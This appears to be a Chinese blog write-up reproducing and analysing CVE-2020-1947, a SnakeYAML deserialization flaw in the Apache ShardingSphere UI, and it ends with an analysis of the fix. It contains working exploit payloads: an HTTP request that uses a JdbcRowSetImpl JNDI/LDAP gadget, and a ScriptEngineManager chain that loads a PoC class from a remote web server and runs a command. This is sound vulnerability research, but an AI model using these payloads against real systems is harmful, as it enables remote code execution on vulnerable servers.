• CVE-2020-1947 Sharding-UI的反序列化复现及分析


    CVE-2020-1947 复现及分析

    0x01 影响

    Apache ShardingSphere < =4.0.0

    0x02 环境搭建

    incubator-shardingsphere 的ui界面为前后分离,所以搭建环境所需要的工具如下

    前端后端没有启动的先后顺序,任意顺序即可。

    首先将shardingsphere-ui-frontend 拖入idea,idea会自动通过pom的依赖构建项目,稍等片刻,在org.apache.shardingsphere.ui.Bootstrap类运行main函数即可。

    前端环境需要nodejs构建,步骤如下

    1. 进入sharding-ui-frontend/目录;
    2. 执行npm install
    3. 执行npm run dev
    4. 访问http://localhost:8080/

    现在就可以访问后台了,用户名与密码皆为admin。为了触发漏洞,需要在后台配置zookeeper。如图

    0x03 POC

    登录后台后,发送如下poc

    POST /api/schema HTTP/1.1
    Host: localhost:8089
    Accept: application/json, text/plain, */*
    Accept-Encoding: gzip, deflate
    Content-Type: application/json;charset=utf-8
    Access-Token: 替换为自己的
    Content-Length: 579
    
    {"name":"CVE-2020-1947","ruleConfiguration":"  encryptors:
        encryptor_aes:
          type: aes
          props:
            aes.key.value: 123456abc
        encryptor_md5:
          type: md5
      tables:
        t_encrypt:
          columns:
            user_id:
              plainColumn: user_plain
              cipherColumn: user_cipher
              encryptor: encryptor_aes
            order_id:
              cipherColumn: order_cipher
              encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl
      dataSourceName: ldap://127.0.0.1:1389/CommandObject
      autoCommit: true"}
    

    0x04 分析

    可以根据poc,可以很明显的发现是shakeyaml引起的反序列化问题。首先找到处理/api/scheme的controller。在org.apache.shardingsphere.ui.web.controller.ShardingSchemaController处。addSchema会处理post请求

        /**
         * Add schema configuration.
         *
         * @param shardingSchema sharding schema DTO.
         * @return response result
         */
        @RequestMapping(value = "", method = RequestMethod.POST)
        public ResponseResult addSchema(final @RequestBody ShardingSchemaDTO shardingSchema) {
            shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration());
            return ResponseResultUtil.success();
        }
    

    跟入shardingSchemaService.addSchemaConfiguration函数。

        @Override
        public void addSchemaConfiguration(final String schemaName, final String ruleConfiguration, final String dataSourceConfiguration) {
            checkSchemaName(schemaName, getAllSchemaNames());
            checkRuleConfiguration(ruleConfiguration);
          checkDataSourceConfiguration(dataSourceConfiguration);
    //... 省略不相关代码
        }
    

    addSchemaConfiguration中的checkDataSourceConfiguration函数会处理dataSourceConfiguration。继续跟入

        private void checkDataSourceConfiguration(final String configData) {
                Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
               //... 省略不相关代码
        }
    

    checkDataSourceConfiguration中会调用ConfigurationYamlConvert.LoadDataSourceConfigurations去解析datasource。

        /**
         * Load data source configurations.
         *
         * @param data data
         * @return data source configurations
         */
        @SuppressWarnings("unchecked")
        public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(final String data) {
            Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data);
    //... 省略不相关代码
        }
    

    loadDataSourceConfigurations中会调用YamlEngine.unmarshal去处理数据,下图为unmarshal函数的代码。可以很明显的看出,unmarshal函数存在反序列化漏洞。yaml的load可以加载任意类,造成反序列化漏洞

    /**
     * Unmarshal YAML.
     *
     * @param yamlContent YAML content
     * @return map from YAML
     */
    public static Map<?, ?> unmarshal(final String yamlContent) {
        return Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap<>() : (Map) new Yaml().load(yamlContent);
    }
    

    不难看出,搭建复现环境时,不一定需要他的web环境去触发漏洞,我们可以直接调用相关函数去模拟加载loadDataSourceConfigurations函数。代码如下

    package org.apache.shardingsphere.ui;
    
    import org.apache.shardingsphere.core.config.DataSourceConfiguration;
    import org.apache.shardingsphere.ui.util.ConfigurationYamlConverter;
    
    import java.util.Map;
    
    public class test {
        public static void main(String... args){
            String configData = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999"]]]]";
            Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
        }
    }
    

    0x05 poc 构造 基于ScriptEngineManager利用链

    构造exp可以使用unmarshalsec 工具,请自行搜索

    本次利用是基于javax.script.ScriptEngineManager的利用链。

    简单地说,ScriptEngineManager类用于Java和JavaScript之间的调用。

    PoC.java,需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成PoC.class然后放置于第三方Web服务中:

    import javax.script.ScriptEngine;
    import javax.script.ScriptEngineFactory;
    import java.util.List;
    import java.io.IOException;
    import java.util.Map;
    
    
    public class PoC implements ScriptEngineFactory {
        static {
            try {
                System.out.println("Hacked by UnicodeSec");
                Runtime.getRuntime().exec("calc");
            } catch (IOException e){
                e.printStackTrace();
            }
        }
        
        public String getEngineName() {
            return null;
        }
        
        public String getEngineVersion() {
            return null;
        }
        
        public List<String> getExtensions() {
            return null;
        }
        
        public List<String> getMimeTypes() {
            return null;
        }
        
        public List<String> getNames() {
            return null;
        }
        
        public String getLanguageName() {
            return null;
        }
        
        public String getLanguageVersion() {
            return null;
        }
        
        public Object getParameter(String key) {
            return null;
        }
        
        public String getMethodCallSyntax(String obj, String m, String... args) {
            return null;
        }
    
        public String getOutputStatement(String toDisplay) {
            return null;
        }
        
        public String getProgram(String... statements) {
            return null;
        }
        
        public ScriptEngine getScriptEngine() {
            return null;
        }
    }
    

    另外,在已放置PoC.class的第三方Web服务中,在当前目录新建如下文件META-INFservicesjavax.script.ScriptEngineFactory,其中内容为指定被执行的类名PoC

    即可触发漏洞

    0x06 修复分析

    在4.0.1中新增了classfilter的构造方法,只允许反序列化YamlDataSourceConfiguration类。

    LoadDataSouceConfigurations函数设置只允许反序列化相关类,
    ClassFilterConstructor 代码如下

    public final class ClassFilterConstructor extends Constructor {
        
        private final Collection<Class<?>> acceptClasses;
        
        @Override
        protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
            for (Class<? extends Object> each : acceptClasses) {
                if (name.equals(each.getName())) {
                    return super.getClassForName(name);
                }
            }
            throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
        }
    }
    
    

    LoadDatasourceConfigurations函数中设置classfilter

    Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data, Collections.<Class<?>>singletonList(YamlDataSourceConfiguration.class));
    

    0x06 参考

    1. https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections
    2. https://www.javadoc.io/doc/org.yaml/snakeyaml/1.19/org/yaml/snakeyaml/constructor/Constructor.html
    3. https://shardingsphere.apache.org/document/current/cn/manual/sharding-ui/
    4. https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
  • 相关阅读:
    【容斥】Four-tuples @山东省第九届省赛 F
    【树形dp入门】没有上司的舞会 @洛谷P1352
    【贪心】LIS @The 15th Zhejiang Provincial Collegiate Programming Contest E
    【map离散&容斥】Ghosts @Codeforces Round #478 (Div. 2) D
    PCA & whitening
    Autoencoders and Sparsity(二)
    Autoencoders and Sparsity(一)
    Regularized logistic regression
    Regularization —— linear regression
    Logistic Regression and Newton's Method
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/12461330.html
Copyright © 2020-2023  润新知